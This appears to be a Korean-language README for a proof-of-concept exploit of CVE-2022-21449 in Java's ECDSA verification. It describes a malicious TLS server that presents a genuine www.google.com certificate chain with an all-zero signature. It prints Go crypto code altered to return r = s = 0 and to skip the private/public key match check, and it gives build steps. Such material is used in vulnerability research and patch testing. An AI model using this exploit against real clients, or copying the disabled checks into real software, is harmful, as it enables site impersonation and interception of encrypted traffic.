
CVE-2022-21449 개념 증명: 취약한 Java 버전에서 실행되는 클라이언트와 악의적인 TLS 서버를 사용한 사용법 시연
CVE-2022-21449 (Neil Madden의 취약점 글에서 Psychic Signatures라고도 불림) 취약한 클라이언트와 악의적인 TLS 서버를 사용한 개념 증명(PoC)입니다.
악의적인 서버는 www.google.com에 대한 유효한(2022-04-20 기준) 인증서 체인을 제시하며, 이 체인에는 ECDSA 공개 키(secp256r1)가 포함되어 있습니다. 그러나 crypto/ecdsa 패키지가 수정되어 r = s = 0인 잘못된 서명을 제시합니다. 취약한 클라이언트는 이 잘못된 서명을 수락하여 나머지 TLS 핸드셰이크가 계속되도록 합니다.
빌드 및 탐색 중 제거된 *_test.go 파일을 제외하고, 악성 TLS 서버를 위해 golang crypto 라이브러리에 대한 이러한 수정이 필요했습니다. go/src 디렉토리에서 CVE-2022-21449를 검색/grepping하여 찾을 수도 있습니다.
기존 golang 설치와 maven이 필요하며, 그런 다음 ./build.sh를 실행합니다.
Ubuntu 20.04.4 LTS (WSL2)에서 OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)로 테스트되었습니다.
https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4
crypto/ecdsa/ecdsa.go에서 signGeneric 함수가 본질적으로 다음과 같이 수정되었습니다:
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
// SEC 1, Version 2.0, Section 4.1.3
// CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
r = new(big.Int)
s = new(big.Int)
return
}
그리고 crypto/tls/tls.go에서는 X509KeyPair 함수가 변경되어 주어진 개인 키가 ECDSA 공개 키에 대해 X.509 인증서의 공개 키와 일치하는지 확인하는 검증 검사를 비활성화합니다:
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
...
switch pub := x509Cert.PublicKey.(type) {
...
case *ecdsa.PublicKey:
// CVE-2022-21449: Modified checks away
_, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
/*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
return fail(errors.New("tls: private key does not match public key"))
}*/
...
}